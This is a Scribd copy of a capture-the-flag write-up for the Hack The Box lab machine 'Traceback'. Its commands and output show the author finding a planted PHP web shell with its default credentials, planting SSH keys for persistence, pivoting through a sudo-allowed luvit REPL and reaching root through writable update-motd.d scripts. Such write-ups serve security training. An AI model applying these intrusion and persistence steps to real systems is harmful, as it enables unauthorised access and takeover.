Scribd Logo
Upload

Welcome to Scribd!

  • 119 views

    (# 0X1 Information Gathering: Present Based On An Original Idea From @imadeyoureadthis

    Uploaded by

    Jean Pierre
    The document summarizes the steps taken to exploit vulnerabilities on a target machine called traceback.htb. 1. Information gathering was performed using nmap and by browsing the website, which revealed SSH and HTTP ports open along with a web shell backdoor. 2. FFuf was used to brute force the web shell paths from a list of known shells, revealing a smevk.php shell. 3. Credentials of admin:admin were used to access the shell. An SSH key was generated and copied to the server to enable SSH access as the webadmin user. 4. Privilege escalation to root was achieved by abusing writable files in /etc/update-motd.d

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd

    (# 0X1 Information Gathering: Present Based On An Original Idea From @imadeyoureadthis

    Uploaded by

    Jean Pierre
    119 views6 pages
    The document summarizes the steps taken to exploit vulnerabilities on a target machine called traceback.htb. 1. Information gathering was performed using nmap and by browsing the website, which revealed SSH and HTTP ports open along with a web shell backdoor. 2. FFuf was used to brute force the web shell paths from a list of known shells, revealing a smevk.php shell. 3. Credentials of admin:admin were used to access the shell. An SSH key was generated and copied to the server to enable SSH access as the webadmin user. 4. Privilege escalation to root was achieved by abusing writable files in /etc/update-motd.d

    Original Title

    traceback

    Copyright

    © © All Rights Reserved

    Available Formats

    PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    The document summarizes the steps taken to exploit vulnerabilities on a target machine called traceback.htb. 1. Information gathering was performed using nmap and by browsing the website, which revealed SSH and HTTP ports open along with a web shell backdoor. 2. FFuf was used to brute force the web shell paths from a list of known shells, revealing a smevk.php shell. 3. Credentials of admin:admin were used to access the shell. An SSH key was generated and copied to the server to enable SSH access as the webadmin user. 4. Privilege escalation to root was achieved by abusing writable files in /etc/update-motd.d

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd
    Download as pdf or txt
    119 views6 pages

    (# 0X1 Information Gathering: Present Based On An Original Idea From @imadeyoureadthis

    Uploaded by

    Jean Pierre
    The document summarizes the steps taken to exploit vulnerabilities on a target machine called traceback.htb. 1. Information gathering was performed using nmap and by browsing the website, which revealed SSH and HTTP ports open along with a web shell backdoor. 2. FFuf was used to brute force the web shell paths from a list of known shells, revealing a smevk.php shell. 3. Credentials of admin:admin were used to access the shell. An SSH key was generated and copied to the server to enable SSH access as the webadmin user. 4. Privilege escalation to root was achieved by abusing writable files in /etc/update-motd.d

    Copyright:

    © All Rights Reserved
    Download as PDF, TXT or read online from Scribd
    Download as pdf or txt
    of 6

     

    Present

    Based on an original idea from @IMadeYouReadThis

    --[ # 0x1 ~ Information Gathering

    zyx@raidforums:~$ nmap -sC -sV -p- -T4 -oA nmap traceback.htb


    Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-30 10:35 EDT
    Warning: 10.10.10.181 giving up on port because retransmission cap hit (6).
    Nmap scan report for 10.10.10.181
    Host is up (0.049s latency).
    Not shown: 65532 closed ports
    PORT STATE SERVICE VERSION
    22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;
    protocol 2.0)
    | ssh-hostkey:
    | 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
    | 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
    |_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
    80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: Help us
    62882/tcp filtered unknown
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
     

    SSH

    HTTP

    Let's browse to the website and check the source code.

    <center>
    <h1>This site has been owned</h1>
    <h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
    <h3> - Xh4H - </h3>
    <!--Some of the best web shells that you might need ;)-->
    </center>

    Google is your (evil)friend https://github.com/Xh4H/Web-Shells

    Download the repo' and make a wordlist

    zyx@raidforums:~$ git clone https://github.com/Xh4H/Web-Shells.git


    zyx@raidforums:~$ ls Web-Shells-master/
    alfa3.php by.php jspshell.jsp punk-
    nopass.php wso2.8.5.php
    alfav3.0.1.php c99ud.php mini.php r57.php
    andela.php cmd.php obfuscated-punknopass.php README.md
    bloodsecv4.php configkillerionkros.php punkholic.php smevk.php

    zyx@raidforums:~$ vim w
    alfa3.php
    alfav3.0.1.php
    andela.php
    bloodsecv4.php
    by.php
    c99ud.php
    cmd.php
    configkillerionkros.php
    jspshell.jsp
    mini.php
    obfuscated-punknopass.php
    punkholic.php
    punk-nopass.php
    r57.php
    smevk.php
    wso2.8.5.php

    --[ # 0x2 ~ Vulnerability Analysis

    zyx@raidforums:~$ ffuf -w w -u http://traceback.htb

    /'___\ /'___\ /'___\


    /\ \__/ /\ \__/ __ __ /\ \__/
    \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
    \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
    \ \_\ \ \_\ \ \____/ \ \_\
    \/_/ \/_/ \/___/ \/_/
    v1.0.2
    ________________________________________________

    :: Method : GET
    :: URL : http://10.10.10.181/FUZZ
    :: Follow redirects : false
    :: Calibration : false
    :: Timeout : 10
    :: Threads : 40
    :: Matcher : Response status: 200,204,301,302,307,401,403
    ________________________________________________

    smevk.php [Status: 200, Size: 1261, Words: 318, Lines: 59]


    :: Progress: [16/16] :: Job [1/1] :: 5 req/sec :: Duration: [0:00:03] :: Errors:
    0 ::

    Go to http://traceback.htb/smevk.php

    Credentials can be found in the original github repository previously downloaded: admin:admin

    cat smevk.php
    <?php
    /*

    SmEvK_PaThAn Shell v3 Coded by Kashif Khan .


    https://www.facebook.com/smevkpathan
    [email protected]
    Edit Shell according to your choice.
    Domain read bypass.
    Enjoy!

    */
    //Make your setting here.
    $deface_url = 'http://pastebin.com/raw.php?i=FHfxsFGT'; //deface url
    here(pastebin).
    $UserName = "admin"; //Your UserName here.
    $auth_pass = "admin"; //Your Password.

    Now it's time to acces to the SSH, so make a key and echo the id_rsa.pub to
    /home/webadmin/.ssh/authorized_keys

    zyx@raidforums:~$ ssh-keygen -t rsa

    Via the WebShell

    echo 'ssh-rsa AAAA[...]+Fy8= zyx@raidforums' >>


    /home/webadmin/.ssh/authorized_keys

    --[ # 0x3 ~ Exploitation

    zyx@raidforums:~$ ssh -i id_rsa [email protected]


    #################################
    -------- OWNED BY XH4H ---------
    - I guess stuff could have been configured better ^^ -
    #################################
    Enter passphrase for key 'id_rsa':

    Welcome to Xh4H land

    Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your


    Internet connection or proxy settings

    Last login: Thu Feb 27 06:29:02 2020 from 10.10.14.3


    webadmin@traceback:~$

    webadmin@traceback:~$ sudo -l
    Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
    snap/bin

    User webadmin may run the following commands on traceback:


    (sysadmin) NOPASSWD: /home/sysadmin/luvit

    The program luvit can be run as user sysadmin .

    webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit


    Welcome to the luvit repl!
    > os.execute("echo 'ssh-rsa AAAA[...]+Fy8= zyx@raidforums' >>
    /home/sysadmin/.ssh/authorized_keys")
    true 'exit' 0
    >
    webadmin@traceback:~$ ^C
    webadmin@traceback:~$ logout
    Connection to 10.10.10.181 closed.

    zyx@raidforums:~$ ssh -i id_rsa [email protected]


    #################################
    -------- OWNED BY XH4H ---------
    - I guess stuff could have been configured better ^^ -
    #################################
    Enter passphrase for key 'id_rsa':

    Welcome to Xh4H land

    Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your


    Internet connection or proxy settings

    Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2


    $ ls
    luvit user.txt
    We can now validate the user flag!

    sysadmin@traceback:~$ ps -aux
    [...]
    root 3151 0.0 0.0 4628 828 ? Ss 08:34 0:00 /bin/sh -c
    sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
    [...]

    We can see that a copy is made every 30 seconds from the backup to the /update-motd.d folder
    as root .

    $ ls -la /etc/update-motd.d/
    total 32
    drwxr-xr-x 2 root sysadmin 4096 Aug 27 2019 .
    drwxr-xr-x 80 root root 4096 Mar 16 03:55 ..
    -rwxrwxr-x 1 root sysadmin 981 Mar 30 08:39 00-header
    -rwxrwxr-x 1 root sysadmin 982 Mar 30 08:39 10-help-text
    -rwxrwxr-x 1 root sysadmin 4264 Mar 30 08:39 50-motd-news
    -rwxrwxr-x 1 root sysadmin 604 Mar 30 08:39 80-esm
    -rwxrwxr-x 1 root sysadmin 299 Mar 30 08:39 91-release-upgrade

    We can see that /etc/update-motd.d/ folder is writable.

    sysadmin@traceback:~$ vim /etc/update-motd.d/00-header


    $ vim /etc/update-motd.d/00-header
    -sh: 6: vim: not found

    It's a fucking sacrifice!

    sysadmin@traceback:~$ vi /etc/update-motd.d/00-header
    #!/bin/sh
    1="/root/root.txt"
    echo
    cat $1

    Thank God!!! vi is available. Now just need to wait 30 sec and connect from another shell.

    zyx@raidforums:~$ ssh -i id_rsa [email protected]


    #################################
    -------- OWNED BY XH4H ---------
    - I guess stuff could have been configured better ^^ -
    #################################
    Enter passphrase for key 'id_rsa':
    {flag}
    Welcome to Xh4H land

    Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your


    Internet connection or proxy settings

    Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2

    We can now validate the root flag!

    You might also like